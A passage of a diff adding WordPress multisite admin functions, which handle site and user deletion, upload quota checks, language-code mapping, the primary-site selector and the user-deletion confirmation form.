+	 * @param bool $drop    True if site's table should be dropped. Default is false.
+	 */
+	do_action( 'delete_blog', $blog_id, $drop );
+
+	$users = get_users( array( 'blog_id' => $blog_id, 'fields' => 'ids' ) );
+
+	// Remove users from this blog.
+	if ( ! empty( $users ) ) {
+		foreach ( $users as $user_id ) {
+			remove_user_from_blog( $user_id, $blog_id );
+		}
+	}
+
+	update_blog_status( $blog_id, 'deleted', 1 );
+
+	$current_network = get_network();
+
+	// If a full blog object is not available, do not destroy anything.
+	if ( $drop && ! $blog ) {
+		$drop = false;
+	}
+
+	// Don't destroy the initial, main, or root blog.
+	if ( $drop && ( 1 == $blog_id || is_main_site( $blog_id ) || ( $blog->path == $current_network->path && $blog->domain == $current_network->domain ) ) ) {
+		$drop = false;
+	}
+
+	$upload_path = trim( get_option( 'upload_path' ) );
+
+	// If ms_files_rewriting is enabled and upload_path is empty, wp_upload_dir is not reliable.
+	if ( $drop && get_site_option( 'ms_files_rewriting' ) && empty( $upload_path ) ) {
+		$drop = false;
+	}
+
+	if ( $drop ) {
+		$uploads = wp_get_upload_dir();
+
+		$tables = $wpdb->tables( 'blog' );
+		/**
+		 * Filters the tables to drop when the site is deleted.
+		 *
+		 * @since MU (3.0.0)
+		 *
+		 * @param array $tables  The site tables to be dropped.
+		 * @param int   $blog_id The ID of the site to drop tables for.
+		 */
+		$drop_tables = apply_filters( 'wpmu_drop_tables', $tables, $blog_id );
+
+		foreach ( (array) $drop_tables as $table ) {
+			$wpdb->query( "DROP TABLE IF EXISTS `$table`" );
+		}
+
+		$wpdb->delete( $wpdb->blogs, array( 'blog_id' => $blog_id ) );
+
+		/**
+		 * Filters the upload base directory to delete when the site is deleted.
+		 *
+		 * @since MU (3.0.0)
+		 *
+		 * @param string $uploads['basedir'] Uploads path without subdirectory. @see wp_upload_dir()
+		 * @param int    $blog_id            The site ID.
+		 */
+		$dir = apply_filters( 'wpmu_delete_blog_upload_dir', $uploads['basedir'], $blog_id );
+		$dir = rtrim( $dir, DIRECTORY_SEPARATOR );
+		$top_dir = $dir;
+		$stack = array($dir);
+		$index = 0;
+
+		while ( $index < count( $stack ) ) {
+			// Get indexed directory from stack
+			$dir = $stack[$index];
+
+			$dh = @opendir( $dir );
+			if ( $dh ) {
+				while ( ( $file = @readdir( $dh ) ) !== false ) {
+					if ( $file == '.' || $file == '..' )
+						continue;
+
+					if ( @is_dir( $dir . DIRECTORY_SEPARATOR . $file ) ) {
+						$stack[] = $dir . DIRECTORY_SEPARATOR . $file;
+					} elseif ( @is_file( $dir . DIRECTORY_SEPARATOR . $file ) ) {
+						@unlink( $dir . DIRECTORY_SEPARATOR . $file );
+					}
+				}
+				@closedir( $dh );
+			}
+			$index++;
+		}
+
+		$stack = array_reverse( $stack ); // Last added dirs are deepest
+		foreach ( (array) $stack as $dir ) {
+			if ( $dir != $top_dir)
+			@rmdir( $dir );
+		}
+
+		clean_blog_cache( $blog );
+	}
+
+	/**
+	 * Fires after the site is deleted from the network.
+	 *
+	 * @since 4.8.0
+	 *
+	 * @param int  $blog_id The site ID.
+	 * @param bool $drop    True if site's tables should be dropped. Default is false.
+	 */
+	do_action( 'deleted_blog', $blog_id, $drop );
+
+	if ( $switch )
+		restore_current_blog();
+}
+
+/**
+ * Delete a user from the network and remove from all sites.
+ *
+ * @since 3.0.0
+ *
+ * @todo Merge with wp_delete_user() ?
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int $id The user ID.
+ * @return bool True if the user was deleted, otherwise false.
+ */
+function wpmu_delete_user( $id ) {
+	global $wpdb;
+
+	if ( ! is_numeric( $id ) ) {
+		return false;
+	}
+
+	$id = (int) $id;
+	$user = new WP_User( $id );
+
+	if ( !$user->exists() )
+		return false;
+
+	// Global super-administrators are protected, and cannot be deleted.
+	$_super_admins = get_super_admins();
+	if ( in_array( $user->user_login, $_super_admins, true ) ) {
+		return false;
+	}
+
+	/**
+	 * Fires before a user is deleted from the network.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param int $id ID of the user about to be deleted from the network.
+	 */
+	do_action( 'wpmu_delete_user', $id );
+
+	$blogs = get_blogs_of_user( $id );
+
+	if ( ! empty( $blogs ) ) {
+		foreach ( $blogs as $blog ) {
+			switch_to_blog( $blog->userblog_id );
+			remove_user_from_blog( $id, $blog->userblog_id );
+
+			$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_author = %d", $id ) );
+			foreach ( (array) $post_ids as $post_id ) {
+				wp_delete_post( $post_id );
+			}
+
+			// Clean links
+			$link_ids = $wpdb->get_col( $wpdb->prepare( "SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id ) );
+
+			if ( $link_ids ) {
+				foreach ( $link_ids as $link_id )
+					wp_delete_link( $link_id );
+			}
+
+			restore_current_blog();
+		}
+	}
+
+	$meta = $wpdb->get_col( $wpdb->prepare( "SELECT umeta_id FROM $wpdb->usermeta WHERE user_id = %d", $id ) );
+	foreach ( $meta as $mid )
+		delete_metadata_by_mid( 'user', $mid );
+
+	$wpdb->delete( $wpdb->users, array( 'ID' => $id ) );
+
+	clean_user_cache( $user );
+
+	/** This action is documented in wp-admin/includes/user.php */
+	do_action( 'deleted_user', $id, null );
+
+	return true;
+}
+
+/**
+ * Check whether a site has used its allotted upload space.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param bool $echo Optional. If $echo is set and the quota is exceeded, a warning message is echoed. Default is true.
+ * @return bool True if user is over upload space quota, otherwise false.
+ */
+function upload_is_user_over_quota( $echo = true ) {
+	if ( get_site_option( 'upload_space_check_disabled' ) )
+		return false;
+
+	$space_allowed = get_space_allowed();
+	if ( ! is_numeric( $space_allowed ) ) {
+		$space_allowed = 10; // Default space allowed is 10 MB
+	}
+	$space_used = get_space_used();
+
+	if ( ( $space_allowed - $space_used ) < 0 ) {
+		if ( $echo )
+			_e( 'Sorry, you have used your space allocation. Please delete some files to upload more files.' );
+		return true;
+	} else {
+		return false;
+	}
+}
+
+/**
+ * Displays the amount of disk space used by the current site. Not used in core.
+ *
+ * @since MU (3.0.0)
+ */
+function display_space_usage() {
+	$space_allowed = get_space_allowed();
+	$space_used = get_space_used();
+
+	$percent_used = ( $space_used / $space_allowed ) * 100;
+
+	if ( $space_allowed > 1000 ) {
+		$space = number_format( $space_allowed / KB_IN_BYTES );
+		/* translators: Gigabytes */
+		$space .= __( 'GB' );
+	} else {
+		$space = number_format( $space_allowed );
+		/* translators: Megabytes */
+		$space .= __( 'MB' );
+	}
+	?>
+	<strong><?php
+		/* translators: Storage space that's been used. 1: Percentage of used space, 2: Total space allowed in megabytes or gigabytes */
+		printf( __( 'Used: %1$s%% of %2$s' ), number_format( $percent_used ), $space );
+	?></strong>
+	<?php
+}
+
+/**
+ * Get the remaining upload space for this site.
+ *
+ * @since MU (3.0.0)
+ *
+ * @param int $size Current max size in bytes
+ * @return int Max size in bytes
+ */
+function fix_import_form_size( $size ) {
+	if ( upload_is_user_over_quota( false ) ) {
+		return 0;
+	}
+	$available = get_upload_space_available();
+	return min( $size, $available );
+}
+
+/**
+ * Displays the site upload space quota setting form on the Edit Site Settings screen.
+ *
+ * @since 3.0.0
+ *
+ * @param int $id The ID of the site to display the setting for.
+ */
+function upload_space_setting( $id ) {
+	switch_to_blog( $id );
+	$quota = get_option( 'blog_upload_space' );
+	restore_current_blog();
+
+	if ( !$quota )
+		$quota = '';
+
+	?>
+	<tr>
+		<th><label for="blog-upload-space-number"><?php _e( 'Site Upload Space Quota' ); ?></label></th>
+		<td>
+			<input type="number" step="1" min="0" style="width: 100px" name="option[blog_upload_space]" id="blog-upload-space-number" aria-describedby="blog-upload-space-desc" value="<?php echo $quota; ?>" />
+			<span id="blog-upload-space-desc"><span class="screen-reader-text"><?php _e( 'Size in megabytes' ); ?></span> <?php _e( 'MB (Leave blank for network default)' ); ?></span>
+		</td>
+	</tr>
+	<?php
+}
+
+/**
+ * Update the status of a user in the database.
+ *
+ * Used in core to mark a user as spam or "ham" (not spam) in Multisite.
+ *
+ * @since 3.0.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param int    $id         The user ID.
+ * @param string $pref       The column in the wp_users table to update the user's status
+ *                           in (presumably user_status, spam, or deleted).
+ * @param int    $value      The new status for the user.
+ * @param null   $deprecated Deprecated as of 3.0.2 and should not be used.
+ * @return int   The initially passed $value.
+ */
+function update_user_status( $id, $pref, $value, $deprecated = null ) {
+	global $wpdb;
+
+	if ( null !== $deprecated )
+		_deprecated_argument( __FUNCTION__, '3.0.2' );
+
+	$wpdb->update( $wpdb->users, array( sanitize_key( $pref ) => $value ), array( 'ID' => $id ) );
+
+	$user = new WP_User( $id );
+	clean_user_cache( $user );
+
+	if ( $pref == 'spam' ) {
+		if ( $value == 1 ) {
+			/**
+			 * Fires after the user is marked as a SPAM user.
+			 *
+			 * @since 3.0.0
+			 *
+			 * @param int $id ID of the user marked as SPAM.
+			 */
+			do_action( 'make_spam_user', $id );
+		} else {
+			/**
+			 * Fires after the user is marked as a HAM user. Opposite of SPAM.
+			 *
+			 * @since 3.0.0
+			 *
+			 * @param int $id ID of the user marked as HAM.
+			 */
+			do_action( 'make_ham_user', $id );
+		}
+	}
+
+	return $value;
+}
+
+/**
+ * Cleans the user cache for a specific user.
+ *
+ * @since 3.0.0
+ *
+ * @param int $id The user ID.
+ * @return bool|int The ID of the refreshed user or false if the user does not exist.
+ */
+function refresh_user_details( $id ) {
+	$id = (int) $id;
+
+	if ( !$user = get_userdata( $id ) )
+		return false;
+
+	clean_user_cache( $user );
+
+	return $id;
+}
+
+/**
+ * Returns the language for a language code.
+ *
+ * @since 3.0.0
+ *
+ * @param string $code Optional. The two-letter language code. Default empty.
+ * @return string The language corresponding to $code if it exists. If it does not exist,
+ *                then the first two letters of $code is returned.
+ */
+function format_code_lang( $code = '' ) {
+	$code = strtolower( substr( $code, 0, 2 ) );
+	$lang_codes = array(
+		'aa' => 'Afar', 'ab' => 'Abkhazian', 'af' => 'Afrikaans', 'ak' => 'Akan', 'sq' => 'Albanian', 'am' => 'Amharic', 'ar' => 'Arabic', 'an' => 'Aragonese', 'hy' => 'Armenian', 'as' => 'Assamese', 'av' => 'Avaric', 'ae' => 'Avestan', 'ay' => 'Aymara', 'az' => 'Azerbaijani', 'ba' => 'Bashkir', 'bm' => 'Bambara', 'eu' => 'Basque', 'be' => 'Belarusian', 'bn' => 'Bengali',
+		'bh' => 'Bihari', 'bi' => 'Bislama', 'bs' => 'Bosnian', 'br' => 'Breton', 'bg' => 'Bulgarian', 'my' => 'Burmese', 'ca' => 'Catalan; Valencian', 'ch' => 'Chamorro', 'ce' => 'Chechen', 'zh' => 'Chinese', 'cu' => 'Church Slavic; Old Slavonic; Church Slavonic; Old Bulgarian; Old Church Slavonic', 'cv' => 'Chuvash', 'kw' => 'Cornish', 'co' => 'Corsican', 'cr' => 'Cree',
+		'cs' => 'Czech', 'da' => 'Danish', 'dv' => 'Divehi; Dhivehi; Maldivian', 'nl' => 'Dutch; Flemish', 'dz' => 'Dzongkha', 'en' => 'English', 'eo' => 'Esperanto', 'et' => 'Estonian', 'ee' => 'Ewe', 'fo' => 'Faroese', 'fj' => 'Fijjian', 'fi' => 'Finnish', 'fr' => 'French', 'fy' => 'Western Frisian', 'ff' => 'Fulah', 'ka' => 'Georgian', 'de' => 'German', 'gd' => 'Gaelic; Scottish Gaelic',
+		'ga' => 'Irish', 'gl' => 'Galician', 'gv' => 'Manx', 'el' => 'Greek, Modern', 'gn' => 'Guarani', 'gu' => 'Gujarati', 'ht' => 'Haitian; Haitian Creole', 'ha' => 'Hausa', 'he' => 'Hebrew', 'hz' => 'Herero', 'hi' => 'Hindi', 'ho' => 'Hiri Motu', 'hu' => 'Hungarian', 'ig' => 'Igbo', 'is' => 'Icelandic', 'io' => 'Ido', 'ii' => 'Sichuan Yi', 'iu' => 'Inuktitut', 'ie' => 'Interlingue',
+		'ia' => 'Interlingua (International Auxiliary Language Association)', 'id' => 'Indonesian', 'ik' => 'Inupiaq', 'it' => 'Italian', 'jv' => 'Javanese', 'ja' => 'Japanese', 'kl' => 'Kalaallisut; Greenlandic', 'kn' => 'Kannada', 'ks' => 'Kashmiri', 'kr' => 'Kanuri', 'kk' => 'Kazakh', 'km' => 'Central Khmer', 'ki' => 'Kikuyu; Gikuyu', 'rw' => 'Kinyarwanda', 'ky' => 'Kirghiz; Kyrgyz',
+		'kv' => 'Komi', 'kg' => 'Kongo', 'ko' => 'Korean', 'kj' => 'Kuanyama; Kwanyama', 'ku' => 'Kurdish', 'lo' => 'Lao', 'la' => 'Latin', 'lv' => 'Latvian', 'li' => 'Limburgan; Limburger; Limburgish', 'ln' => 'Lingala', 'lt' => 'Lithuanian', 'lb' => 'Luxembourgish; Letzeburgesch', 'lu' => 'Luba-Katanga', 'lg' => 'Ganda', 'mk' => 'Macedonian', 'mh' => 'Marshallese', 'ml' => 'Malayalam',
+		'mi' => 'Maori', 'mr' => 'Marathi', 'ms' => 'Malay', 'mg' => 'Malagasy', 'mt' => 'Maltese', 'mo' => 'Moldavian', 'mn' => 'Mongolian', 'na' => 'Nauru', 'nv' => 'Navajo; Navaho', 'nr' => 'Ndebele, South; South Ndebele', 'nd' => 'Ndebele, North; North Ndebele', 'ng' => 'Ndonga', 'ne' => 'Nepali', 'nn' => 'Norwegian Nynorsk; Nynorsk, Norwegian', 'nb' => 'Bokmål, Norwegian, Norwegian Bokmål',
+		'no' => 'Norwegian', 'ny' => 'Chichewa; Chewa; Nyanja', 'oc' => 'Occitan, Provençal', 'oj' => 'Ojibwa', 'or' => 'Oriya', 'om' => 'Oromo', 'os' => 'Ossetian; Ossetic', 'pa' => 'Panjabi; Punjabi', 'fa' => 'Persian', 'pi' => 'Pali', 'pl' => 'Polish', 'pt' => 'Portuguese', 'ps' => 'Pushto', 'qu' => 'Quechua', 'rm' => 'Romansh', 'ro' => 'Romanian', 'rn' => 'Rundi', 'ru' => 'Russian',
+		'sg' => 'Sango', 'sa' => 'Sanskrit', 'sr' => 'Serbian', 'hr' => 'Croatian', 'si' => 'Sinhala; Sinhalese', 'sk' => 'Slovak', 'sl' => 'Slovenian', 'se' => 'Northern Sami', 'sm' => 'Samoan', 'sn' => 'Shona', 'sd' => 'Sindhi', 'so' => 'Somali', 'st' => 'Sotho, Southern', 'es' => 'Spanish; Castilian', 'sc' => 'Sardinian', 'ss' => 'Swati', 'su' => 'Sundanese', 'sw' => 'Swahili',
+		'sv' => 'Swedish', 'ty' => 'Tahitian', 'ta' => 'Tamil', 'tt' => 'Tatar', 'te' => 'Telugu', 'tg' => 'Tajik', 'tl' => 'Tagalog', 'th' => 'Thai', 'bo' => 'Tibetan', 'ti' => 'Tigrinya', 'to' => 'Tonga (Tonga Islands)', 'tn' => 'Tswana', 'ts' => 'Tsonga', 'tk' => 'Turkmen', 'tr' => 'Turkish', 'tw' => 'Twi', 'ug' => 'Uighur; Uyghur', 'uk' => 'Ukrainian', 'ur' => 'Urdu', 'uz' => 'Uzbek',
+		've' => 'Venda', 'vi' => 'Vietnamese', 'vo' => 'Volapük', 'cy' => 'Welsh','wa' => 'Walloon','wo' => 'Wolof', 'xh' => 'Xhosa', 'yi' => 'Yiddish', 'yo' => 'Yoruba', 'za' => 'Zhuang; Chuang', 'zu' => 'Zulu' );
+
+	/**
+	 * Filters the language codes.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param array  $lang_codes Key/value pair of language codes where key is the short version.
+	 * @param string $code       A two-letter designation of the language.
+	 */
+	$lang_codes = apply_filters( 'lang_codes', $lang_codes, $code );
+	return strtr( $code, $lang_codes );
+}
+
+/**
+ * Synchronize category and post tag slugs when global terms are enabled.
+ *
+ * @since 3.0.0
+ *
+ * @param object $term     The term.
+ * @param string $taxonomy The taxonomy for `$term`. Should be 'category' or 'post_tag', as these are
+ *                         the only taxonomies which are processed by this function; anything else
+ *                         will be returned untouched.
+ * @return object|array Returns `$term`, after filtering the 'slug' field with sanitize_title()
+ *                      if $taxonomy is 'category' or 'post_tag'.
+ */
+function sync_category_tag_slugs( $term, $taxonomy ) {
+	if ( global_terms_enabled() && ( $taxonomy == 'category' || $taxonomy == 'post_tag' ) ) {
+		if ( is_object( $term ) ) {
+			$term->slug = sanitize_title( $term->name );
+		} else {
+			$term['slug'] = sanitize_title( $term['name'] );
+		}
+	}
+	return $term;
+}
+
+/**
+ * Displays an access denied message when a user tries to view a site's dashboard they
+ * do not have access to.
+ *
+ * @since 3.2.0
+ * @access private
+ */
+function _access_denied_splash() {
+	if ( ! is_user_logged_in() || is_network_admin() )
+		return;
+
+	$blogs = get_blogs_of_user( get_current_user_id() );
+
+	if ( wp_list_filter( $blogs, array( 'userblog_id' => get_current_blog_id() ) ) )
+		return;
+
+	$blog_name = get_bloginfo( 'name' );
+
+	if ( empty( $blogs ) )
+		wp_die( sprintf( __( 'You attempted to access the "%1$s" dashboard, but you do not currently have privileges on this site. If you believe you should be able to access the "%1$s" dashboard, please contact your network administrator.' ), $blog_name ), 403 );
+
+	$output = '<p>' . sprintf( __( 'You attempted to access the "%1$s" dashboard, but you do not currently have privileges on this site. If you believe you should be able to access the "%1$s" dashboard, please contact your network administrator.' ), $blog_name ) . '</p>';
+	$output .= '<p>' . __( 'If you reached this screen by accident and meant to visit one of your own sites, here are some shortcuts to help you find your way.' ) . '</p>';
+
+	$output .= '<h3>' . __('Your Sites') . '</h3>';
+	$output .= '<table>';
+
+	foreach ( $blogs as $blog ) {
+		$output .= '<tr>';
+		$output .= "<td>{$blog->blogname}</td>";
+		$output .= '<td><a href="' . esc_url( get_admin_url( $blog->userblog_id ) ) . '">' . __( 'Visit Dashboard' ) . '</a> | ' .
+			'<a href="' . esc_url( get_home_url( $blog->userblog_id ) ). '">' . __( 'View Site' ) . '</a></td>';
+		$output .= '</tr>';
+	}
+
+	$output .= '</table>';
+
+	wp_die( $output, 403 );
+}
+
+/**
+ * Checks if the current user has permissions to import new users.
+ *
+ * @since 3.0.0
+ *
+ * @param string $permission A permission to be checked. Currently not used.
+ * @return bool True if the user has proper permissions, false if they do not.
+ */
+function check_import_new_users( $permission ) {
+	if ( ! current_user_can( 'manage_network_users' ) ) {
+		return false;
+	}
+
+	return true;
+}
+// See "import_allow_fetch_attachments" and "import_attachment_size_limit" filters too.
+
+/**
+ * Generates and displays a drop-down of available languages.
+ *
+ * @since 3.0.0
+ *
+ * @param array  $lang_files Optional. An array of the language files. Default empty array.
+ * @param string $current    Optional. The current language code. Default empty.
+ */
+function mu_dropdown_languages( $lang_files = array(), $current = '' ) {
+	$flag = false;
+	$output = array();
+
+	foreach ( (array) $lang_files as $val ) {
+		$code_lang = basename( $val, '.mo' );
+
+		if ( $code_lang == 'en_US' ) { // American English
+			$flag = true;
+			$ae = __( 'American English' );
+			$output[$ae] = '<option value="' . esc_attr( $code_lang ) . '"' . selected( $current, $code_lang, false ) . '> ' . $ae . '</option>';
+		} elseif ( $code_lang == 'en_GB' ) { // British English
+			$flag = true;
+			$be = __( 'British English' );
+			$output[$be] = '<option value="' . esc_attr( $code_lang ) . '"' . selected( $current, $code_lang, false ) . '> ' . $be . '</option>';
+		} else {
+			$translated = format_code_lang( $code_lang );
+			$output[$translated] = '<option value="' . esc_attr( $code_lang ) . '"' . selected( $current, $code_lang, false ) . '> ' . esc_html ( $translated ) . '</option>';
+		}
+
+	}
+
+	if ( $flag === false ) // WordPress english
+		$output[] = '<option value=""' . selected( $current, '', false ) . '>' . __( 'English' ) . "</option>";
+
+	// Order by name
+	uksort( $output, 'strnatcasecmp' );
+
+	/**
+	 * Filters the languages available in the dropdown.
+	 *
+	 * @since MU (3.0.0)
+	 *
+	 * @param array $output     HTML output of the dropdown.
+	 * @param array $lang_files Available language files.
+	 * @param string $current   The current language code.
+	 */
+	$output = apply_filters( 'mu_dropdown_languages', $output, $lang_files, $current );
+
+	echo implode( "\n\t", $output );
+}
+
+/**
+ * Displays an admin notice to upgrade all sites after a core upgrade.
+ *
+ * @since 3.0.0
+ *
+ * @global int    $wp_db_version The version number of the database.
+ * @global string $pagenow
+ *
+ * @return false False if the current user is not a super admin.
+ */
+function site_admin_notice() {
+	global $wp_db_version, $pagenow;
+
+	if ( ! current_user_can( 'upgrade_network' ) ) {
+		return false;
+	}
+
+	if ( 'upgrade.php' == $pagenow ) {
+		return;
+	}
+
+	if ( get_site_option( 'wpmu_upgrade_site' ) != $wp_db_version ) {
+		echo "<div class='update-nag'>" . sprintf( __( 'Thank you for Updating! Please visit the <a href="%s">Upgrade Network</a> page to update all your sites.' ), esc_url( network_admin_url( 'upgrade.php' ) ) ) . "</div>";
+	}
+}
+
+/**
+ * Avoids a collision between a site slug and a permalink slug.
+ *
+ * In a subdirectory installation this will make sure that a site and a post do not use the
+ * same subdirectory by checking for a site with the same name as a new post.
+ *
+ * @since 3.0.0
+ *
+ * @param array $data    An array of post data.
+ * @param array $postarr An array of posts. Not currently used.
+ * @return array The new array of post data after checking for collisions.
+ */
+function avoid_blog_page_permalink_collision( $data, $postarr ) {
+	if ( is_subdomain_install() )
+		return $data;
+	if ( $data['post_type'] != 'page' )
+		return $data;
+	if ( !isset( $data['post_name'] ) || $data['post_name'] == '' )
+		return $data;
+	if ( !is_main_site() )
+		return $data;
+
+	$post_name = $data['post_name'];
+	$c = 0;
+	while( $c < 10 && get_id_from_blogname( $post_name ) ) {
+		$post_name .= mt_rand( 1, 10 );
+		$c ++;
+	}
+	if ( $post_name != $data['post_name'] ) {
+		$data['post_name'] = $post_name;
+	}
+	return $data;
+}
+
+/**
+ * Handles the display of choosing a user's primary site.
+ *
+ * This displays the user's primary site and allows the user to choose
+ * which site is primary.
+ *
+ * @since 3.0.0
+ */
+function choose_primary_blog() {
+	?>
+	<table class="form-table">
+	<tr>
+	<?php /* translators: My sites label */ ?>
+		<th scope="row"><label for="primary_blog"><?php _e( 'Primary Site' ); ?></label></th>
+		<td>
+		<?php
+		$all_blogs = get_blogs_of_user( get_current_user_id() );
+		$primary_blog = get_user_meta( get_current_user_id(), 'primary_blog', true );
+		if ( count( $all_blogs ) > 1 ) {
+			$found = false;
+			?>
+			<select name="primary_blog" id="primary_blog">
+				<?php foreach ( (array) $all_blogs as $blog ) {
+					if ( $primary_blog == $blog->userblog_id )
+						$found = true;
+					?><option value="<?php echo $blog->userblog_id ?>"<?php selected( $primary_blog, $blog->userblog_id ); ?>><?php echo esc_url( get_home_url( $blog->userblog_id ) ) ?></option><?php
+				} ?>
+			</select>
+			<?php
+			if ( !$found ) {
+				$blog = reset( $all_blogs );
+				update_user_meta( get_current_user_id(), 'primary_blog', $blog->userblog_id );
+			}
+		} elseif ( count( $all_blogs ) == 1 ) {
+			$blog = reset( $all_blogs );
+			echo esc_url( get_home_url( $blog->userblog_id ) );
+			if ( $primary_blog != $blog->userblog_id ) // Set the primary blog again if it's out of sync with blog list.
+				update_user_meta( get_current_user_id(), 'primary_blog', $blog->userblog_id );
+		} else {
+			echo "N/A";
+		}
+		?>
+		</td>
+	</tr>
+	</table>
+	<?php
+}
+
+/**
+ * Whether or not we can edit this network from this page.
+ *
+ * By default editing of network is restricted to the Network Admin for that `$network_id`.
+ * This function allows for this to be overridden.
+ *
+ * @since 3.1.0
+ *
+ * @param int $network_id The network ID to check.
+ * @return bool True if network can be edited, otherwise false.
+ */
+function can_edit_network( $network_id ) {
+	if ( $network_id == get_current_network_id() )
+		$result = true;
+	else
+		$result = false;
+
+	/**
+	 * Filters whether this network can be edited from this page.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool $result     Whether the network can be edited from this page.
+	 * @param int  $network_id The network ID to check.
+	 */
+	return apply_filters( 'can_edit_network', $result, $network_id );
+}
+
+/**
+ * Thickbox image paths for Network Admin.
+ *
+ * @since 3.1.0
+ *
+ * @access private
+ */
+function _thickbox_path_admin_subfolder() {
+?>
+<script type="text/javascript">
+var tb_pathToImage = "<?php echo esc_js( includes_url( 'js/thickbox/loadingAnimation.gif', 'relative' ) ); ?>";
+</script>
+<?php
+}
+
+/**
+ *
+ * @param array $users
+ */
+function confirm_delete_users( $users ) {
+	$current_user = wp_get_current_user();
+	if ( ! is_array( $users ) || empty( $users ) ) {
+		return false;
+	}
+	?>
+	<h1><?php esc_html_e( 'Users' ); ?></h1>
+
+	<?php if ( 1 == count( $users ) ) : ?>
+		<p><?php _e( 'You have chosen to delete the user from all networks and sites.' ); ?></p>
+	<?php else : ?>
+		<p><?php _e( 'You have chosen to delete the following users from all networks and sites.' ); ?></p>
+	<?php endif; ?>
+
+	<form action="users.php?action=dodelete" method="post">
+	<input type="hidden" name="dodelete" />
+	<?php
+	wp_nonce_field( 'ms-users-delete' );
+	$site_admins = get_super_admins();
+	$admin_out = '<option value="' . esc_attr( $current_user->ID ) . '">' . $current_user->user_login . '</option>'; ?>
+	<table class="form-table">
+	<?php foreach ( ( $allusers = (array) $_POST['allusers'] ) as $user_id ) {
+		if ( $user_id != '' && $user_id != '0' ) {
+			$delete_user = get_userdata( $user_id );
+
+			if ( ! current_user_can( 'delete_user', $delete_user->ID ) ) {
+				wp_die( sprintf( __( 'Warning! User %s cannot be deleted.' ), $delete_user->user_login ) );
+			}
+
+			if ( in_array( $delete_user->user_login, $site_admins ) ) {
+				wp_die( sprintf( __( 'Warning! User cannot be deleted. The user %s is a network administrator.' ), '<em>' . $delete_user->user_login . '</em>' ) );
+			}
+			?>
+			<tr>
+				<th scope="row"><?php echo $delete_user->user_login; ?>
+					<?php echo '<input type="hidden" name="user[]" value="' . esc_attr( $user_id ) . '" />' . "\n"; ?>
+				</th>
+			<?php $blogs = get_blogs_of_user( $user_id, true );
+
+			if ( ! empty( $blogs ) ) {
+				?>
+				<td><fieldset><p><legend><?php printf(
+					/* translators: user login */
+					__( 'What should be done with content owned by %s?' ),
+					'<em>' . $delete_user->user_login . '</em>'
+				); ?></legend></p>
+				<?php
+				foreach ( (array) $blogs as $key => $details ) {
+					$blog_users = get_users( array( 'blog_id' => $details->userblog_id, 'fields' => array( 'ID', 'user_login' ) ) );
+					if ( is_array( $blog_users ) && !empty( $blog_users ) ) {
+						$user_site = "<a href='" . esc_url( get_home_url( $details->userblog_id ) ) . "'>{$details->blogname}</a>";
+						$user_dropdown = '<label for="reassign_user" class="screen-reader-text">' . __( 'Select a user' ) . '</label>';
+						$user_dropdown .= "<select name='blog[$user_id][$key]' id='reassign_user'>";
+						$user_list = '';
+						foreach ( $blog_users as $user ) {
+							if ( ! in_array( $user->ID, $allusers ) ) {
+								$user_list .= "<option value='{$user->ID}'>{$user->user_login}</option>";
+							}
+						}
+						if ( '' == $user_list ) {
+							$user_list = $admin_out;
+						}
+						$user_dropdown .= $user_list;
+						$user_dropdown .= "</select>\n";
+						?>
+						<ul style="list-style:none;">
+							<li><?php printf( __( 'Site: %s' ), $user_site ); ?></li>
+							<li><label><input type="radio" id="delete_option0" name="delete[<?php echo $details->userblog_id . '][' . $delete_user->ID ?>]" value="delete" checked="checked" />
+							<?php _e( 'Delete all content.' ); ?></label></li>
+							<li><label><input type="radio" id="delete_option1" name="delete[<?php echo $details->userblog_id . '][' . $delete_user->ID ?>]" value="reassign" />
+							<?php _e( 'Attribute all content to:' ); ?></label>
+							<?php echo $user_dropdown; ?></li>
+						</ul>
+						<?php
+					}
+				}
+				echo "</fieldset></td></tr>";
+			} else {
+				?>
+				<td><fieldset><p><legend><?php _e( 'User has no sites or content and will be deleted.' ); ?></legend></p>
+			<?php } ?>
+			</tr>
+		<?php
+		}
+	}
+
+	?>
+	</table>
+	<?php
+	/** This action is documented in wp-admin/users.php */
+	do_action( 'delete_user_form', $current_user, $allusers );
+
+	if ( 1 == count( $users ) ) : ?>
+		<p><?php _e( 'Once you hit &#8220;Confirm Deletion&#8221;, the user will be permanently removed.' ); ?></p>
+	<?php else : ?>
+		<p><?php _e( 'Once you hit &#8220;Confirm Deletion&#8221;, these users will be permanently removed.' ); ?></p>
+	<?php endif;
+
+	submit_button( __('Confirm Deletion'), 'primary' );
+	?>
+	</form>
+	<?php
+	return true;
+}
+
+/**
+ * Print JavaScript in the header on the Network Settings screen.
+ *
+ * @since 4.1.0
+ */
+function network_settings_add_js() {
+?>
+<script type="text/javascript">
+jQuery(document).ready( function($) {
+	var languageSelect = $( '#WPLANG' );
+	$( 'form' ).submit( function() {
+		// Don't show a spinner for English and installed languages,
+		// as there is nothing to download.
+		if ( ! languageSelect.find( 'option:selected' ).data( 'installed' ) ) {
+			$( '#submit', this ).after( '<span class="spinner language-install-spinner is-active" />' );
+		}
+	});
+});
+</script>
+<?php
+}
+
+/**
+ * Outputs the HTML for a network's "Edit Site" tabular interface.
+ *
+ * @since 4.6.0
+ *
+ * @param $args {
+ *     Optional. Array or string of Query parameters. Default empty array.
+ *
+ *     @type int    $blog_id  The site ID. Default is the current site.
+ *     @type array  $links    The tabs to include with (label|url|cap) keys.
+ *     @type string $selected The ID of the selected link.
+ * }
+ */
+function network_edit_site_nav( $args = array() ) {
+
+	/**
+	 * Filters the links that appear on site-editing network pages.
+	 *
+	 * Default links: 'site-info', 'site-users', 'site-themes', and 'site-settings'.
+	 *
+	 * @since 4.6.0
+	 *
+	 * @param array $links {
+	 *     An array of link data representing individual network admin pages.
+	 *
+	 *     @type array $link_slug {
+	 *         An array of information about the individual link to a page.
+	 *
+	 *         $type string $label Label to use for the link.
+	 *         $type string $url   URL, relative to `network_admin_url()` to use for the link.
+	 *         $type string $cap   Capability required to see the link.
+	 *     }
+	 * }
+	 */
+	$links = apply_filters( 'network_edit_site_nav_links', array(
+		'site-info'     => array( 'label' => __( 'Info' ),     'url' => 'site-info.php',     'cap' => 'manage_sites' ),
